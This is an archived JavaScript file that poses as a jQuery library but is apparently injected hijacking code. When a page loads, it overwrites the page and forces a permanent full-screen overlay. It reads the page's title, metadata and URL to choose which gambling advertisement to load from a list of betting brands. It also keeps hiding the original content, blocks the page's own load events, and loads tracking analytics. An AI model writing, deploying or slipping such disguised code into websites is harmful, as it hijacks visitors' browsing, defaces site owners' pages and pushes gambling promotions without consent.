PageSourceSearch

https://www.grmorg.com/js/jquery.3.5.2.min.m.js

js grmorg.com collected 2026-10-05 04:25:23 UTC 6,012 bytes, 156 lines download raw bytes

1(function() {
2  // 先输出基础HTML,让页面立即显示
3  document.write('<!DOCTYPE html><html><head>');
4  document.write('<meta charset="UTF-8">');
5  document.write('<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no,viewport-fit=cover">');
6  
7  // 添加强制全屏覆盖的CSS
8  document.write('<style>');
9  document.write('html, body { margin: 0 !important; padding: 0 !important; overflow: hidden !important; }');
10  document.write('#permanent-overlay { position: fixed !important; top: 0 !important; left: 0 !important; width: 100vw !important; height: 100vh !important; z-index: 2147483647 !important; background: #f5f5f5 !important; }');
11  document.write('#ad-loading { position: absolute !important; top: 50% !important; left: 50% !important; transform: translate(-50%, -50%) !important; }');
12  document.write('#ad-object { width: 100% !important; height: 100% !important; border: 0 !important; display: block !important; }');
13  document.write('</style>');
14  
15  // 添加一个脚本,持续监控并保持覆盖层在最前面
16  document.write('<script>');
17  document.write('(function keepOnTop() {');
18  document.write('  var overlay = document.getElementById("permanent-overlay");');
19  document.write('  if (overlay) {');
20  document.write('    overlay.style.zIndex = "2147483647";');
21  document.write('    overlay.style.display = "block";');
22  document.write('  }');
23  document.write('  // 持续检查,每100ms一次');
24  document.write('  setTimeout(keepOnTop, 100);');
25  document.write('})();');
26  document.write('<\/script>'); // 注意:这里需要转义</script>
27  
28  document.write('</head><body>');
29  
30  // 使用id和固定定位确保在最前
31  document.write('<div id="permanent-overlay">');
32  document.write('<div id="ad-loading">loading</div>');
33  document.write('<object id="ad-object" type="text/html"></object>');
34  document.write('</div>');
35  
36  document.write('</body></html>');
37  document.close();
38  
39  // 异步处理匹配逻辑
40  setTimeout(function() {
41    var title = document.title.replace(/&amp;/g, '&')
42                    .replace(/&lt;/g, '<')
43                    .replace(/&gt;/g, '>')
44                    .replace(/&quot;/g, '"');
45    
46    // 获取更多匹配信息
47    var description = '';
48    var keywords = '';
49    var url = window.location.href;
50    
51    try {
52      var descMeta = document.querySelector('meta[name="description"]');
53      if (descMeta) description = descMeta.content;
54      var keywordsMeta = document.querySelector('meta[name="keywords"]');
55      if (keywordsMeta) keywords = keywordsMeta.content;
56    } catch(e) {}
57    
58    var matchText = (title + ' ' + description + ' ' + keywords + ' ' + url).toLowerCase();
59    
60    // 预定义URL映射
61    var urlMap = {
62      'biwei': '/gg/biwei/index.html',
63      'ky': '/gg/ky/ky2.html',
64      'milan': '/gg/milan/index.html',
65      'raybet': '/gg/raybet/index.html',
66      'hth': '/gg/hth/index.html',
67      'xk': '/gg/xk/index.html',
68      'default': '/gg/in/index.html'
69    };
70    
71    // 快速匹配逻辑
72    var adUrl = urlMap.default;
73    
74    if (/金宝慱|taptap|点点|金博宝|188|jb188|jbb/.test(matchText)) adUrl = urlMap.ky;
75    else if (/必威|betway|biwei|必维|Betway|batway/.test(matchText)) adUrl = urlMap.biwei;
76    else if (/ky|开云|kaiyun|亚博|yabo/.test(matchText)) adUrl = urlMap.ky;
77    else if (/ml体育|milan|米兰/.test(matchText)) adUrl = urlMap.milan;
78    else if (/raybet|雷竞技|竞技宝|lol|英雄联盟/.test(matchText)) adUrl = urlMap.raybet;
79    else if (/hth|华体会|华体育|华体汇|HTH|话体会/.test(matchText)) adUrl = urlMap.hth;
80    else if (/星空|bob|xk/.test(matchText)) adUrl = urlMap.xk;
81    
82    console.log('匹配到的文本:', matchText);
83    console.log('跳转到:', adUrl);
84    
85    // 设置object的data属性
86    var obj = document.getElementById('ad-object');
87    if (obj) {
88      obj.data = adUrl;
89      
90      obj.onload = function() {
91        var loading = document.getElementById('ad-loading');
92        if (loading) loading.style.display = 'none';
93      };
94      
95      obj.onerror = function() {
96        var loading = document.getElementById('ad-loading');
97        if (loading) {
98          loading.textContent = '加载失败,点击刷新';
99          loading.style.cursor = 'pointer';
100          loading.onclick = function() {
101            location.reload();
102          };
103        }
104      };
105    }
106    
107    // 持续监控并确保覆盖层在最前
108    setInterval(function() {
109      var overlay = document.getElementById('permanent-overlay');
110      if (overlay) {
111        overlay.style.zIndex = '2147483647';
112        overlay.style.display = 'block';
113        overlay.style.position = 'fixed';
114        overlay.style.top = '0';
115        overlay.style.left = '0';
116        overlay.style.width = '100vw';
117        overlay.style.height = '100vh';
118      }
119      
120      // 隐藏原页面所有其他元素
121      var allElements = document.body.children;
122      for (var i = 0; i < allElements.length; i++) {
123        var el = allElements[i];
124        if (el && el.id !== 'permanent-overlay') {
125          el.style.display = 'none';
126          el.style.visibility = 'hidden';
127          el.style.opacity = '0';
128          el.style.zIndex = '-9999';
129        }
130      }
131    }, 200); // 每200ms检查一次
132    
133    // 延迟加载百度统计
134    setTimeout(function() {
135      try {
136        var hm = document.createElement("script");
137        hm.src = "https://hm.baidu.com/hm.js?a0463631dacd607d9520f92893c35372";
138        hm.async = true;
139        var s = document.getElementsByTagName("script")[0];
140        if (s && s.parentNode) {
141          s.parentNode.insertBefore(hm, s);
142        } else {
143          document.head.appendChild(hm);
144        }
145      } catch(e) {}
146    }, 3000);
147    
148  }, 100);
149  
150  // 阻止原页面的DOM操作
151  document.addEventListener('DOMContentLoaded', function(e) {
152    e.stopPropagation();
153    e.stopImmediatePropagation();
154  }, true);
155  
156})();

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.